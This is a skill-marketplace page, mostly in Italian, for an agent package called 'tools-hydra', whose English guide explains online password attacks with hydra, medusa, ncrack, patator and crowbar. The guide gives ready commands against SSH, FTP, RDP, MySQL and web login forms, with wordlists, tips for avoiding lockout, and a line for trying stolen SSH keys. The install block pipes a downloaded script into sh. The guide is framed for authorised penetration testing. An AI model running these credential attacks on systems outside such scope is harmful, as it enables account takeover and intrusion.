Vai al contenuto
New

DeepSeek V4.1 Flash free for 7 days: 10M tokens a day after a top-up of $10 or more. Until Nov 30.

How it works
noorqureshi/tools-hydraRete, wireless e telecomunicazioni

tools-hydra

⁨Run online password attacks against live services with hydra and its alternatives (medusa, ncrack, patator, crowbar) — service modules, http-post-form failure strings, thread tuning, resume, and lockout avoidance. Load when scope allows credential guessing against SSH/FTP/RDP/MySQL/web login forms a⁩

v2026.10.14-ee0e0c53 installazioni+3 in 7 giorni27 StelleMITsincronizzato 22 ore fa

Installa

Non hai ancora la CLI di NotHoly? Installala prima.

$ curl -fsSL https://notholy.com/install.sh | sh
$ notholy skills install noorqureshi/tools-hydra

Scrive in ⁦~/.notholy/skills⁩ dopo aver controllato la firma e lo SHA-256.

FirmaFirmato, ed25519
jwzIlQrnD6…YqC4tZCQ==La CLI controlla lo SHA-256 e la firma prima di scrivere qualsiasi file.
Pacchetto415ac130…53545e3a
415ac130eb04…57c053545e3a1 file · ⁦2.4 KB⁩
ScansioneBasso1 segnalazione
  • Link a domini esterni
Vedi la scansione completa
Sorgentegithub.com/NoorQureshi/security-skills/tree/main/skills/tools/tools-hydra@ee0e0c5

Questa voce non è ancora scritta in italiano, quindi è mostrata in un'altra lingua: English.

When it applies

The engagement scope (tradecraft-scope-roe, scope.txt) explicitly permits online credential guessing against a live service — SSH, FTP, RDP, MySQL, a web login form — and you have no hash to crack offline (tools-hashcat). Online attacks are loud, slow, and lock accounts: check network-password-spraying first — one password across many users is usually safer than many passwords against one user.

Why it works

Login services are oracles: every attempt returns success or failure. hydra/medusa/ncrack/patator parallelize guesses across protocol modules and stop on the first valid pair. The whole craft is (a) the right failure signal so you can tell "wrong password" from "wrong request", and (b) pacing so you finish before the lockout policy finishes you.

Method

  1. Get the failure signal from a real request first. For web forms, capture one failed login in Burp and copy the exact POST body and a unique string from the failure page — guessing without this makes every attempt look like success.
  2. hydra basics:
    bash
    hydra -l user -P wordlist.txt ssh://target_ip          # one user, password list
    hydra -L users.txt -P passwords.txt ftp://target_ip    # user list + password list
    hydra -l administrator -P wordlist.txt rdp://target_ip
    hydra -l root -P wordlist.txt mysql://target_ip
    hydra -t 4 -l user -P wordlist.txt ssh://target_ip     # -t = parallel tasks, keep low
    hydra -R                                                # resume an interrupted run
  3. Web form logins:
    bash
    hydra -l admin -P wordlist.txt target_ip http-post-form "/login:user=^USER^&pass=^PASS^:Invalid"
    Format is path:post-body:failure-string; ^USER^/^PASS^ are the placeholders. The failure string must be text that appears only on failed logins.
  4. Alternatives when hydra misbehaves:
    bash
    medusa -h target_ip -u admin -P passwords.txt -M ssh -t 4      # -f stops after first hit
    medusa -H hosts.txt -U users.txt -P pass.txt -M ssh -t 3 -T 5  # host list, 5 hosts in parallel
    ncrack -vv -U users.txt -P passwords.txt ssh://target_ip
    ncrack -iX nmap_scan.xml -U users.txt -P pass.txt              # targets straight from nmap XML
    patator ssh_login host=target_ip user=FILE0 password=FILE1 0=users.txt 1=passwords.txt
    patator http_fuzz url="https://target.com/login" method=POST body="user=FILE0&pass=FILE1" 0=users.txt 1=pass.txt -x ignore:fgrep="Login failed"
    crowbar -b rdp -s target_ip/32 -u admin -C passwords.txt -n 2  # RDP without NLA issues
    crowbar -b sshkey -s target_ip/32 -u root -k /path/to/keys/    # try stolen SSH keys
  5. Wordlists: rockyou (/usr/share/wordlists/rockyou.txt) for broad guessing; SecLists (/usr/share/seclists/Passwords/..., Usernames/top-usernames-shortlist.txt) for focused lists.

Gotchas

  • Account lockout is the default failure mode — AD and many apps lock after 3–10 failures; throttle (-t 2, add delays), prefer spraying (network-password-spraying), and confirm the lockout policy in roe.md before the first attempt.
  • http-post-form false positives — a wrong failure string (or a 302 on both success and failure) makes every guess "valid". Validate one known-bad and one known-good credential by hand before the run.
  • High thread counts break the target and the tool — services drop connections, hydra reports phantom results; -t 4 is a sane default for SSH, lower for RDP.
  • Tools disagree on modules — medusa's -M rdp, crowbar's -b rdp, and hydra's rdp module handle NLA differently; if one errors out on modern RDP, switch to crowbar or xfreerdp-based checks.
  • Every attempt is logged — source IPs in auth logs are trivially attributable; online guessing is a stated-scope activity, never an improvisation.

Verify success

A credential pair validated by an actual login (ssh in, RDP session, authenticated web request) — not just the tool's "found" line — plus a count of attempts made, so the report can state both the result and the noise it took.

References

THC-Hydra GitHub; medusa/ncrack/patator/crowbar docs. Offline path once you have hashes: tools-hashcat; enterprise-safe alternative: network-password-spraying.


Portions adapted from reverse-skill by zhaoxuya520, MIT License.

File di questa versione

Permessi

PermessoDichiaratoTrovato dalla scansione
Legge fileNoNo
Scrive fileNoNo
Esegue comandi shellSìSì
Usa la reteSìSì
Usa i connettoriNoNo
Controlla un browserNoNo

Segnalazioni della scansione

Rivisto il 13 nov 2026

  1. InfoLink · Link a domini esterni

Una scansione pulita abbassa il rischio, ma non prova che il pacchetto sia sicuro. Leggi quello che installi.

VersionePubblicataCommitSHA-256FirmaCambio di permessi
v2026.10.14-ee0e0c513 nov 2026ee0e0c5415ac130Firmata–

Chiedi tutto quello che il tuo perimetro consente.

Crea un account, aggiungi crediti e fai la prima domanda in chat o nel terminale.

  1. 1/3

    Crea l'account

    Privato o azienda. Puoi passare ad azienda in seguito senza perdere saldo o chiavi.

    PrivatoAzienda
  2. 2/3

    Aggiungi crediti

    Con carta. Paghi a token, senza abbonamento.

    $5.00ricarica minima
  3. 3/3

    Chiedi

    In chat, oppure installa la CLI ed esegui notholy login nel terminale.

    $ notholy login